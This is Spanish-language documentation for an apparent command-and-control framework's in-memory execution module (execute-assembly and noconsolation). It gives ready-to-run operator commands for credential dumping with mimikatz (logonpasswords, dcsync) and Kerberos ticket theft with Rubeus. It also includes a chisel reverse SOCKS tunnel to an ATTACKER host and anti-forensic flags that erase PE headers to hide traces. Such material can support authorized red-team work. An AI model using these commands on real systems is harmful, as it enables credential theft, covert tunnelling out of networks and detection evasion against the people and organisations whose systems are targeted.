Ejecución de Código
El módulo Execution-BOF proporciona dos mecanismos para ejecutar código arbitrario en la memoria del proceso del agente, sin escribir archivos en disco en la máquina objetivo.
Disponible en agentes: Beacon, Gopher (solo Windows).
execute-assembly
Ejecuta un assembly .NET completamente en memoria utilizando CLR hosting. El binario se sube desde la máquina del operador y se carga directamente en el proceso del agente — ningún archivo toca el disco del objetivo.
execute-assembly --assembly <ruta_local> [--args "<argumentos>"]| Argumento | Requerido | Descripción |
|---|---|---|
--assembly | Sí | Ruta al archivo .NET EXE/DLL en la máquina del operador |
--args | No | Argumentos que se pasan al assembly |
Ejemplos
Ejecutar SharpHound para enumerar Active Directory:
execute-assembly --assembly /opt/tools/SharpHound.exe --args "-c All -d domain.local"Ejecutar Rubeus para solicitar un TGT:
execute-assembly --assembly /opt/tools/Rubeus.exe --args "asktgt /user:admin /password:P@ss /ptt"Ejecutar Seatbelt para auditoría de seguridad:
execute-assembly --assembly /opt/tools/Seatbelt.exe --args "-group=all"Ejecutar SharpUp para buscar escalación de privilegios:
execute-assembly --assembly /opt/tools/SharpUp.exe --args "audit"Cuándo usarlo
execute-assembly es el método principal para ejecutar herramientas ofensivas escritas en .NET. Es ideal para:
- Herramientas de reconocimiento de AD: SharpHound, ADSearch, SharpView
- Ataques Kerberos: Rubeus (aunque JustC2 tiene Kerbeus-BOF integrado)
- Auditoría de seguridad: Seatbelt, SharpUp, Certify
- Extracción de credenciales: SharpDPAPI, SharpChrome
- Movimiento lateral: SharpWMI, SharpRDP
Soporta assemblies de .NET Framework. El assembly se ejecuta en un AppDomain separado dentro del proceso del agente.
noconsolation
Ejecuta binarios nativos (no administrados) EXE o DLL completamente en memoria mediante el BOF No-Consolation. Es más versátil que execute-assembly ya que soporta tanto binarios .NET como nativos de Windows.
noconsolation -f <ruta_local> [-a "<argumentos>"] [opciones]Opciones de Carga
| Argumento | Descripción |
|---|---|
-f <ruta> | Sube un EXE/DLL desde la máquina del operador |
--local <ruta> | Carga un binario desde el disco de la máquina objetivo |
--memory <nombre> | Carga un PE previamente guardado en memoria |
Opciones de Ejecución
| Argumento | Descripción |
|---|---|
-a "<args>" | Argumentos para el PE |
--method <export> | Nombre de la función exportada a ejecutar (solo para DLLs; por defecto: DllMain) |
--timeout <segundos> | Tiempo máximo de espera (por defecto: 60s, 0=ilimitado) |
--inthread | Ejecutar en el hilo principal (puede colgar el agente) |
-w | Pasar argumentos en formato UNICODE (por defecto: ANSI) |
-no | No capturar la salida |
-ac | Asignar una nueva consola (genera un nuevo proceso) |
-ch | Cerrar handles de pipes al terminar |
Opciones de Anti-Forense
| Argumento | Descripción |
|---|---|
-k | Sobrescribir los encabezados PE (elimina rastros del binario cargado) |
--link-to-peb | Hacer el PE visible en el PEB (Process Environment Block) |
Gestión de PEs en Memoria
| Argumento | Descripción |
|---|---|
--dont-save | No guardar el PE en la caché de memoria |
--dont-unload | No descargar la DLL después de ejecutarla |
--list-pes | Listar todos los PEs cargados en memoria |
--unload-pe <nombre> | Descargar un PE específico de la memoria |
--free-libraries "DLL_A,DLL_B" | Liberar DLLs específicas (cargadas previamente con --dont-unload) |
Gestión de Dependencias
| Argumento | Descripción |
|---|---|
-lad | Cargar de forma personalizada todas las dependencias del PE |
-ladb "DLL_A,DLL_B" | Cargar todas las dependencias excepto las listadas |
-ld "DLL_A,DLL_B" | Cargar solo las dependencias especificadas |
-sp "RUTA_A,RUTA_B" | Rutas de búsqueda para DLLs (por defecto: system32) |
Ejemplos
Ejecutar mimikatz en memoria:
noconsolation -f /tmp/mimikatz.exe -a "privilege::debug token::elevate exit"Ejecutar mimikatz con anti-forense (sobrescribir headers):
noconsolation -f /tmp/mimikatz.exe -a "sekurlsa::logonpasswords exit" -kEjecutar una herramienta de larga duración (chisel, ligolo, etc.):
noconsolation -f /tmp/chisel.exe -a "client ATTACKER:8080 R:socks" --timeout 0 --inthreadGuardar PE en memoria y reutilizarlo:
# Primera ejecución — el PE se guarda automáticamente
noconsolation -f /tmp/mimikatz.exe -a "privilege::debug exit"
# Ejecuciones posteriores — cargar desde memoria (sin re-subir)
noconsolation --memory mimikatz.exe -a "sekurlsa::logonpasswords exit"
noconsolation --memory mimikatz.exe -a "lsadump::dcsync /user:Administrator exit"Listar PEs cargados en memoria:
noconsolation --list-pesDescargar un PE de la memoria:
noconsolation --unload-pe mimikatz.exeEjecutar una DLL con una función exportada específica:
noconsolation -f /tmp/custom.dll --method MyExportedFunc -a "arg1 arg2"Cargar desde disco en la máquina objetivo:
noconsolation --local "C:\Windows\Temp\tool.exe" -a "arg1"Cuándo usarlo
noconsolation es superior a execute-assembly para binarios nativos:
- Herramientas nativas de Windows: mimikatz.exe, procdump.exe, netcat, chisel
- DLLs personalizadas: Ejecutar funciones exportadas específicas de una DLL
- Herramientas de larga duración: Proxies SOCKS, túneles, servidores (con
--timeout 0 --inthread) - Ejecuciones repetidas: Guardar el PE en memoria y reutilizarlo sin volver a subirlo
- Operaciones sigilosas: Usar
-kpara borrar encabezados PE de la memoria
Restricción: Solo soporta agentes de 64 bits (x64). No funciona en procesos WoW64 (32 bits).
Flujo de Trabajo con Caché de PEs
El sistema de caché de No-Consolation permite cargar un binario una sola vez y ejecutarlo múltiples veces:
- Cargar y ejecutar:
noconsolation -f /ruta/tool.exe -a "primer_comando"— el PE se guarda en memoria automáticamente. - Reutilizar:
noconsolation --memory tool.exe -a "segundo_comando"— sin transferencia de red. - Verificar caché:
noconsolation --list-pes— ver qué PEs están en memoria. - Limpiar:
noconsolation --unload-pe tool.exe— liberar memoria cuando ya no se necesite.
Esto es especialmente útil con herramientas como mimikatz que se usan repetidamente durante una operación — se sube una vez y se ejecutan múltiples módulos sin tráfico adicional de red.